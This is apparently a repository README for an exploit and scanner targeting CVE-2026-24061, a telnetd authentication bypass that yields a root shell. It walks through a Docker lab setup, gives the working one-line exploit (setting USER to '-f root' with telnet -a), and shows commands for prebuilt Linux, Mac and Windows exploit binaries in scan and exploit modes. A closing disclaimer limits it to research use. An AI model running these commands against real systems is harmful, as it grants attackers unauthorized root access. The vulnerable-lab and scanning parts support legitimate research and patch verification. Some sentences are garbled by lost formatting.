parad0x7e/cve-2026-24061Exploit and scanner for CVE-2026-24061, a telnetd authentication bypass that grants root shell via crafted USER environment variable. Includes Docker environment setup and cross-platform exploit binaries.
CVE-2026-24061 is an authentication bypass vulnerability in telnetd that allows attackers to bypass identity verification through specific combinations of environment variables and directly obtain a root-privileged shell.
There is a flaw in telnetd's authentication logic. When using the -a option (automatic login) combined with a specific USER environment variable (such as -f root), it is possible to bypass the normal authentication process and log in directly as the root user.
GNU InetUtils is a collection of basic network tools under the GNU project. It contains many traditional network clients and daemons, such as ftp, telnet, rsh, rlogin, tftp, etc., providing a comprehensive and GNU-style network component library. is the server program in this toolkit responsible for handling incoming Telnet connection requests, with the primary task of providing remote users with an interactive terminal interface (usually a Shell).
telnetdinetd or xinetd on port 23. When a request arrives, telnetd is started.login program to verify the username and password.First, download this repository locally. The directory structure is as follows:
In this directory, execute the following command to start the vulnerable environment for CVE-2026-24061:
docker compose up -d --build
After startup, the telnet service will run on 0.0.0.0:2323
-a option of telnetd is used to enable automatic login functionality-a is enabled, telnetd reads the USER environment variable as the login usernameUSER environment variable is set to -f root, telnetd incorrectly interprets -f as an option flag and root as the target user# Set the USER environment variable and connect with telnet -a
env USER='-f root' telnet -a 127.0.0.1 2323
Upon success, you will obtain an interactive shell with root privileges:
cd exp
You can see three files: exp, exp_darwin, and exp.exe are executable files for Linux, Mac, and Windows respectively. Choose the one you need. Tool source code is also provided. If you need other versions, you can compile them yourself. Here I'm using exp for Linux, which has detailed help information.
Detect if the vulnerability exists (default scans port 23):
./exp -mode scan -target your-ip -port your-port
Exploit the vulnerability and obtain a shell:
./exp -mode exploit -target your-ip -port your-port
This project is for security research and educational purposes only. Do not use it on unauthorized systems. Users assume all legal responsibility for any consequences resulting from the use of this tool.